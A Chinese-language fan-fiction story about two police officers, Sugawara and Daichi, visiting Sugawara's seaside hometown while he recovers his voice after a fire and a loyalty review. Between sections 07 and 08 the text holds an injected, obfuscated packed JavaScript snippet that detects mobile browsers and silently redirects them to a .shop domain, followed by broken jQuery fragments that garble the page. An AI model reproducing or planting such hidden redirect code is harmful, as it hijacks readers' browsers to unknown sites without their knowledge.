菅原把脸埋进了大地的羊绒衫里，颤抖着声音说：“我想相信你一下。”


    大地伸手拢住了被海风吹乱的灰色发丝。


    “你可以相信我，”他的副队单薄得像一只雏鸟，“不止一下。”


    他的怀里闷声笑了。


    那是他们难得申请通过了的年假出游。


    01


    这个故事发生在缘下他们都还没毕业的时候，所以只能由我来讲。


    我们的度假目的地是阿菅的故乡——新来的后辈们都不知道，阿菅其实不是宫城县人。


    他来自一座雨水很多的临海小城。


    温润多情，和他的人一样。


    这并非是一次纯粹的度假，我看着自从上了新干线就望着窗外一言不发的阿菅，轻声打断他的沉思：“要喝热水么？”


    阿菅的脸色还是很苍白，在日光下摇了摇头，好像马上就要飘走了。


    “大地，”他的声音很轻，也很沙哑，“不用担心我。”他在那场大火里吸进了太多灼热的空气，影响了声带和气管。


    我们彼此都心知肚明，我是组织上美其名曰派来陪伴他，实际上是防止他想不开的。


    可能是我眼睛里自以为是的怜悯太明显，阿菅移开了目光，淡淡地补了一句：“放心，我不会独自行动的。”


    我讪讪地抿了一口热水。


    列车钻进了隧道，阿菅的脸映在玻璃上，瘦削而平静。


    02


    我不习惯大地对我这样小心翼翼，他也没做错什么。不论是出于组织的决定，还是我们的私交，他跟我回家都是最合适的。


    虽然说我们刚大吵了一架，这是我们吵完之后第一次见面。


    说来有点好笑，我醒来之后失声了一段时间。刚开始我写字他说话地吵，后来变成我张牙舞爪地比口型，最后被他气得都能“啊啊啊”地出声了。


    他有些时候真的固执得要命……算了，不提了。


    新干线钻进隧道的频率越来越小，窗外渐渐地出现了水车和轮作田，证明我已经离家不远。


    我裹紧了外套假寐，在深秋季节里，海边大概已经很凉了吧。


    太久没回来，已经快要忘记了。


    我是曾经多么喜欢和人一起去海边。


    03


    一下车我就闻到专属于沿海的味道：湿漉漉的、带着一点咸腥气。这座小城是河流入海形成的三角洲，地势平坦，即使拖着行李箱也比在宫城上坡下坡容易得多。


    风有点大，我递给了阿菅一条厚围巾。他接过就随手搭在脖子上，只能起到一个造型上的作用。我无奈，停下来严严实实地给人围好，又没忍住唠叨起来：“医生说你现在不能吹冷风，你想一辈子公鸭嗓吗？”


    阿菅低垂着脑袋不说话。


    走了一会，阿菅拉了拉我的衣袖，手机备忘录里赫然写着一句话：


    你要是不气我，我能这样吗


    标点也没有，光标在后面一闪一闪的。


    我被气笑了，一手拖着行李箱，一手揽过穿着厚外套也比我小一圈的人跌跌撞撞地向前走去。


    阿菅不想回家，怕父母和弟弟看到后会担心，于是我们提前定了民宿。


    房间还算整洁。


    门口还放着房东给的鱿鱼丝。


    阿菅刚拆开想吃，我就又想起了医嘱：“那太咸了！”阿菅缓慢地瞪大了眼睛，随即把鱿鱼丝往桌子上一丢，站在房间里就开始噼里啪啦地打字。


    我叉着腰看他，其表情丰富程度我怀疑他在写小作文骂我。


    但是他写完没给我看，看了我一眼，之后把自己扔在床上：“不吃就不吃，谁稀罕。”


    04


    我打肿脸充胖子，实际上我稀罕死了。鱿鱼丝是我最喜欢的零食之一，曾经和弟弟创下一天吃光三大包的纪录。


    但只要大地在我身边一刻，他就不会让我碰到它，哪怕我只是舔一下。


    他就是这样，一丝不苟地执行命令。


    这很好，不是吗？


    我用手遮住发烫的眼皮：这才是一个优秀的警察该有的素质，不是吗？


    而我不是。


    人在生病的时候总是格外脆弱的。


    民宿的地理位置很好，远远地就能看到大海。今天的风有点大，渔船都没有出港，桅杆在海天一色的远处摇摇晃晃。


    啊，不是，我坐在窗前出神，现在是禁渔期。


    你瞧，我已经太久没回来，久到连这个都忘记了。


    中午我们去吃了一家拉面馆，我和大地说这是我国中时最喜欢去吃的店。


    进店发现老板是生面孔。我努力地劝说自己没准这是老板的亲戚，但是人三分像，最后我不得不悲伤地承认这家被出兑给了别人。


    那个一直说等我上大学了，放假回家还要给我做海鲜拉面的人也不见了。


    大地把七味粉拿得远远的，我余光瞥见了，也没在意。


    我自暴自弃地想，就算一辈子说不了话，我也要吃辣椒。


    当然要在泽村大地警官看不见的地方。


    05


    那家拉面店……实话说不太好吃。


    我们吃得格外沉默，阿菅脸色依旧很不好。不知道是因为我自作主张把他点的辣豚骨拉面换掉，还是因为我把七味粉拿走了。


    我很希望他说些什么，或者拿手机打字给我。


    但是他一言不发。


    饭后我们沿着路一直走，最终走到了沿海公路上。


    我从小在多山的宫城县长大，这是我第一次不是因为案子来看海。风把我们两个的外套和围巾都吹扬起来，像是两个帆没收好的沉默桅杆。


    阿菅掏出手机，打了一行字递给我：


    我想抽烟。


    “你疯了？”我挑眉，想都没想脱口而出。


    说完我有一丝后悔，因为我看到了阿菅马上就要哭出来的表情。


    他自从醒过来之后，即使知道桥本江葬身火海，自己可能因为应激再也没法开口说话，也从来都没露出这幅表情。


    我刚想道歉，就看见阿菅嘴唇微动，说了一句什么，之后转身沿着公路向前走去。


    那可是我一直并肩作战的人啊，我怎么能让他这么作践自己。


    他应该是要回去接受表彰的才对。


    06


    我从前是个很多话的人。


    不能说话的时间起初有点难熬，后来慢慢也习惯了。我想我足够幸运，多少人终其一生都无法破获的重大案件，我碰上了、经历了，现在还全须全尾地站在这里。


    沿海公路修得比海面高很多，我能听见海水拍在堤坝和礁石上的声音。我曾经很喜欢沿着这条路一直跑，尽头有一座灯塔，远航的渔船夜里可以看着它找到回家的路。


    我想要和小时候一样跑起来，一口气爬上灯塔下面旋转向上的楼梯，可是现在喉咙里很疼，疼得我想掉眼泪。


    我知道大地一直在身后跟着，所以不能停下。


    如果我在他面前掉眼泪，他大概也会像审查组的那些人一样，逼问我是不是本来就知道桥本江要偷渡出逃，所以才出现在码头。


    海风刮着脸颊，又咸又涩。


    现在其实早就不是适合来海边的季节，街上很萧条，一路走过来擦身而过的车都是本地牌照。我们一直走到了灯塔脚下，高高的围挡拦住了楼梯。


    禁渔期，灯塔会定期维护——我又忘记了。


    这座小城已经自顾自地把我抛弃了。


    好像一个中年失意的人在缅怀自己的初恋。


    我被自己的形容逗笑了，声带振动又是一阵尖锐的刺痛。


    我咳嗽着蹲在地上蜷成一团。


    07


    我拍着他的后背帮他顺气。


    他呼吸慢慢变得平稳，但在我刚想扶他起来的时候，猛地扶着旁边的围挡狂吐起来。


    刚才吃的半碗拉面甚至都没来得及消化。


    他拽着我的袖子，我回握住他的手。手心里全是冷汗，指尖冰凉。他吐无可吐了，脸上泛着不健康的潮红。


    我企图把他的手捂暖，却听见阿菅牙咬得死紧，磨出咯吱咯吱的响声。


    “阿菅！”我把他的头抬起来，“阿菅，阿菅，你听我说！”


    他闭着眼睛，对我的话置若罔闻。眉头皱在一起，眼泪顺着脸颊一直淌到衣领里。


    “审查已经过去了，不会再有人怀疑你了！”我也不知道我为什么在开空头支票，“不会了，再也不会了。”


    但是在那一瞬间，我真的很想安慰他，哪怕是欺骗。


    阿菅把头靠在我肩膀上喘气，双手插兜，是很防备的姿势。


    “都过去了，真的，”我虚揽着他，又继续欺骗着他，“审查组已经走了，不然局长也不会批你的年假对不对？”


    我不知道他听没听进去，最后只在我耳边轻声说：


    “有点冷，回去吧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119717|149845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    08


    回到民宿的时候我的手脚都已经冻僵了，大地忙前忙后地帮我烧热水。我围着被子坐在床上，依旧在看着窗外发呆。


    天色渐晚，渔船和桅杆都变得隐绰，看不真切。我又想起那个晚上，浓墨一样的夜色里，海面上火光冲天，桥本松那张阴柔的脸神情格外平静。


    他用口型和我说着永别。


    我想起小时候妈妈说晚上的大海里会有妖怪，专门吃小朋友的眼睛。


    我无声地弯了弯嘴角，妈妈，我的声音也被一起吃掉啦。


    但还好，我还没有每一步都像走在刀尖上。


    我们一连在小城里待了很多天，我有些时候仍旧会被应激所折磨，毫无防备地掉进那一晚，或者之后很多个接受审查的日子。


    但可喜的是，我的声带在逐渐好转。


    虽然依旧不能大声说话，但起码不再像刚出院的时候那么嘶哑。


    可能是长时间的备忘录生活让我变得对说话没有那么执着了。


    我和大地做得最多的事就是发呆、散步。


    09


    阿菅的胃口依旧很差，整个人也不像从前那样爱说爱笑。


    禁渔期已经过去，我会拉着他去海边看渔船出港，打赌每条船都什么时候回来。我看得出来他兴致缺缺。


    “阿菅，你小时候会经常去海边吗？”我没话找话。


    他的话轻飘飘的，被风送过来：“会的。”过了一会，“会去赶海，找蛏子和鹦鹉螺。”


    “一个人？”


    这次他沉默了很久才回答我：“……很多人。”


    我本想问里面是不是有桥本松，但是我忍住了。其实我并不觉得阿菅和桥本松是旧相识会是他被怀疑的理由。


    “有桥本，”他歪着头对我说，“我们还玩得很不错。”


    “海边真是个神奇的地方——我在这里遇见他，又在这里送别他。”


    这样模棱两可的话要是让审查组听到肯定又是一轮质询。


    我在他的眼睛里看到近乎挑衅地自暴自弃。


    10


    我想我要疯了。


    大地在骗我，不然他不会把归期一拖再拖，还在晚上趁着我睡觉偷偷去洗手间打电话。


    很多次我都想求他给我个痛快，不要再这样耗着我。


    他愣了，之后抬手摸了摸我的后脖颈：“别乱说话，阿菅。”他的手永远都是温暖而干燥的，“再等等，相信我。”


    我最看不了他这副表情，既为难又诚恳，还有一些别的乱七八糟的情感。我撇开眼神。


    “大地，”远处有海鸟飞过来，扑棱棱地落到礁石上，“在醒过来之前，我从未怀疑过自己对正义的忠诚。”


    那天沉默的变成了大地。


    我病态地觉得很痛快。


    我们一前一后回到民宿。在夜晚的静寂中，我能听见隔壁床榻因为翻身而吱呀作响。


    我偷偷拿出了被我藏在抽屉里的鱿鱼丝，就着月光轻手轻脚地吃起来。


    吃完我毁尸灭迹，睡了我这段时间的第一个还算安稳的一觉。


    11


    我拿阿菅一向没什么办法，假装闻不见他床头附近腥甜的海产品味道。


    算了，见好了，吃就吃了。


    局里面的确在审查阿菅的资质，不过比他自己预想的乐观很多。我旁敲侧击了局长很多次，直到今天早上，局长说审查通过了，甚至把阿菅调来做我的副队。


    我坐在马桶盖上，感觉比自己升职还开心。


    拉开门就看见阿菅靠在墙边眉眼平和地看着我。


    “队长？”


    看来他是听见了。


    外面的阳光看起来暖洋洋。


    我们决定第二天回去，今天再最后去一次海边。原本我提议让阿菅回家见见父母，他缩着脖子笑道：“他们早就去国外旅行了。”


    我们的衣服都带得太少，如果过两天下雪只怕会冻到生病，尤其是阿菅现在就是半个病号。


    12


    虽然听墙角的确不是好行为，但是总有意外收获。


    我终于等到打开盒子的那一刻，小猫活蹦乱跳。


    我可能依旧会喜欢大海，在离开家之前的十五年里，我都枕着海浪声入睡又追着海鸟长大。它包容着我和我的朋友，即使我们最后互相残杀，最终阴阳两隔。


    他不会怀疑我的忠诚和信仰，会为我争取到最后一刻。


    是吧，我的队长。